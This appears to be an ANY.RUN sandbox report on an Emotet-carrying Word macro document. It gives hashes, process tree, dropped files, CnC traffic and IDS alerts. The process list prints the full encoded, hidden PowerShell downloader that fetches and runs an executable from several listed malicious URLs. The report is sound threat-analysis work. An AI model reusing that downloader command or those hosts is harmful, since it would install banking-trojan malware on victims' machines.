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File name:

Zahlungsschreiben_2020_01_0285326817.doc

Full analysis: https://app.any.run/tasks/abf010a3-be01-4eb1-9f77-b4398eca745e
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 18, 2020, 11:31:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Quia., Author: Zoe Fontaine, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 07:06:00 2020, Last Saved Time/Date: Fri Jan 17 07:06:00 2020, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

E676DA8687526CD787FBD6B7E18071ED

SHA1:

C784927E4A7B4B336137C9E60212502EF284838D

SHA256:

294A2BE9ACB649E629B6FCB080310730569076E2C1FF4D9F47AD28FBCB7A90ED

SSDEEP:

6144:K70Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+xCJuvvw+:W0E3dxtR/iU9mvUPjvw+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 593.exe (PID: 2128)
      • 593.exe (PID: 2856)
      • serialfunc.exe (PID: 2532)
      • serialfunc.exe (PID: 2528)
      • serialfunc.exe (PID: 4028)
      • serialfunc.exe (PID: 3992)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 2156)
    • Emotet process was detected

      • 593.exe (PID: 2128)
    • EMOTET was detected

      • serialfunc.exe (PID: 2528)
    • Connects to CnC server

      • serialfunc.exe (PID: 2528)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 2528)
  • SUSPICIOUS

    • Executed via WMI

      • Powershell.exe (PID: 2156)
    • Creates files in the user directory

      • Powershell.exe (PID: 2156)
    • PowerShell script executed

      • Powershell.exe (PID: 2156)
    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 2156)
      • 593.exe (PID: 2128)
    • Starts itself from another location

      • 593.exe (PID: 2128)
    • Connects to server without host name

      • serialfunc.exe (PID: 2528)
    • Application launched itself

      • serialfunc.exe (PID: 2528)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1608)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1608)
      • serialfunc.exe (PID: 3992)
      • serialfunc.exe (PID: 4028)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Quia.
Subject: -
Author: Zoe Fontaine
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:01:17 07:06:00
ModifyDate: 2020:01:17 07:06:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
8
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 593.exe no specs #EMOTET 593.exe serialfunc.exe no specs #EMOTET serialfunc.exe serialfunc.exe no specs serialfunc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1608"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Zahlungsschreiben_2020_01_0285326817.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2156Powershell -w hidden -en JABLAHEAbABkAGYAbQBiAHYAcgA9ACcAWABpAGQAdgBvAHIAYgBrAGsAYwBnAHQAYQAnADsAJABGAHkAbQBiAGgAeQBlAHgAbQBoACAAPQAgACcANQA5ADMAJwA7ACQATgBuAHIAZwBxAGkAawBrAGYAcQB5AD0AJwBCAGoAcwBwAGMAcABzAGUAYwBxAGYAJwA7ACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAeQBtAGIAaAB5AGUAeABtAGgAKwAnAC4AZQB4AGUAJwA7ACQAUQBlAGUAdwBsAG8AaAB2AG4AaAB6AGoAZwA9ACcAVABxAHkAdABqAHgAaQB0AG8AZAB4AHoAZgAnADsAJABQAHYAcQBrAHIAbgBvAGEAbwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwASQBFAG4AdAA7ACQARgBrAG0AbgBnAGkAdABnAGEAPQAnAGgAdAB0AHAAOgAvAC8AbwBuAGkAbwBuAGcAYQBtAGUAcwAuAGoAcAAvAGMAbwBuAHQAYQBjAHQALwBpAFkALwAqAGgAdAB0AHAAOgAvAC8AcABtAHQAaABvAG0AZQAuAGMAbwBtAC8AcABvAHMAdABhAC8AZAByADMAegB4AGEALwAqAGgAdAB0AHAAOgAvAC8AdQByAGcAZQB2AGUAbgB0AGEALgBlAHMALwBpAG0AZwAvAGsAMwA1AGQAOQBxAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBvAGwAbQBlAGMALgBjAG8AbQAuAGEAcgAvAHMAaQB0AGkAbwAvAG4AVABYAFoAbwBtAEsAQwB4AC8AKgBoAHQAdABwAHMAOgAvAC8AdABpAGEAZwBvAGMAYQBtAGIAYQByAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBzADkANgAvACcALgAiAFMAcABMAGAASQBUACIAKAAnACoAJwApADsAJABYAG0AdgB0AHMAZgBmAGoAZgBqAD0AJwBOAGIAcwBmAHYAYQB2AGsAbQBzAGwAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQB0AHkAawBtAGcAcAB5AHkAYwB6AHkAIABpAG4AIAAkAEYAawBtAG4AZwBpAHQAZwBhACkAewB0AHIAeQB7ACQAUAB2AHEAawByAG4AbwBhAG8ALgAiAGQAYABPAFcAbgBsAG8AYQBgAEQAZgBJAGwARQAiACgAJABRAHQAeQBrAG0AZwBwAHkAeQBjAHoAeQAsACAAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABMAHEAcwBuAG8AYwBpAGMAawA9ACcATQB3AHIAbgBoAHMAawB6AGUAdQBzACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMANgA5ADUAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAdAAiACgAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABaAGoAYwB5AGUAYgB0AHUAPQAnAFAAcQByAHYAaABrAGwAcQBlAHIAaQBlACcAOwBiAHIAZQBhAGsAOwAkAEYAegBiAGIAdQBuAHQAdQB1AGwAcABzAGcAPQAnAE0AdQBzAG0AeAB4AHEAYgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAYgByAGgAdAB2AGcAZgB0AGYAegBzAD0AJwBCAHYAdgBnAGcAcABkAGkAawBzAHcAcQByACcAC:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2856"C:\Users\admin\593.exe" C:\Users\admin\593.exePowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
2128--6b95206dC:\Users\admin\593.exe
593.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
2532"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe593.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
2528--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Version:
1, 0, 0, 76
3992"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\3B49.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
4028"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\3B5A.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Total events
2 416
Read events
1 533
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
8

Dropped files

PID
Process
Filename
Type
1608WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA93B.tmp.cvr
MD5:
SHA256:
1608WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF0BBED3707407E4B2.TMP
MD5:
SHA256:
2156Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\86ICSGWJB0BBZB6CCE8S.temp
MD5:
SHA256:
4028serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp
MD5:
SHA256:
3992serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp
MD5:
SHA256:
3992serialfunc.exeC:\Users\admin\Documents\Outlook Files\[email protected]
MD5:
SHA256:
4028serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp
MD5:
SHA256:
4028serialfunc.exeC:\Users\admin\Documents\Outlook Files\[email protected]
MD5:
SHA256:
4028serialfunc.exeC:\Users\admin\AppData\Local\Temp\3B5A.tmp
MD5:
SHA256:
1608WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:8922797945331ABA4AD545DA95F83555
SHA256:7B8F5B0076724942A65902FED734A4AA1A24EB8AD7FF5ECB514D4394F436023B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2528
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/8CCG
US
binary
410 Kb
malicious
2156
Powershell.exe
GET
200
210.224.185.151:80
http://oniongames.jp/contact/iY/
JP
executable
344 Kb
suspicious
2528
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/x4S8yS8zk6uEp
US
binary
148 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2528
serialfunc.exe
100.6.23.40:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious
2156
Powershell.exe
210.224.185.151:80
oniongames.jp
SAKURA Internet Inc.
JP
suspicious

DNS requests

Domain
IP
Reputation
oniongames.jp
  • 210.224.185.151
suspicious

Threats

PID
Process
Class
Message
2156
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2156
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2156
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2528
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2528
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2528
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2528
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2528
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2528
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
No debug info